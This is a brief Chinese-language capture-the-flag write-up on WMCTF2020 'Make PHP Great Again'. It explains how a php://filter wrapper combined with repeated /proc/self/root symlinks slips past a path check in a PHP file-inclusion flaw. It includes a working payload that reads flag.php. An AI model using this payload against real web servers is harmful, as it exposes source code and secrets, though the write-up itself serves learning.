本文主要是介绍[WMCTF2020]Make PHP Great Again，对大家解决编程问题具有一定的参考价值，需要的程序猿们随着小编来一起学习吧！

[WMCTF2020]Make PHP Great Again

0x01前言

• php小技巧

0x02php小技巧

/proc/self指向当前进程的/proc/pid/，/proc/self/root/是指向/的符号链接，想到这里，用伪协议配合多级符号链接的办法进行绕过。

payload=php://filter/read=convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

好像太长了就不行

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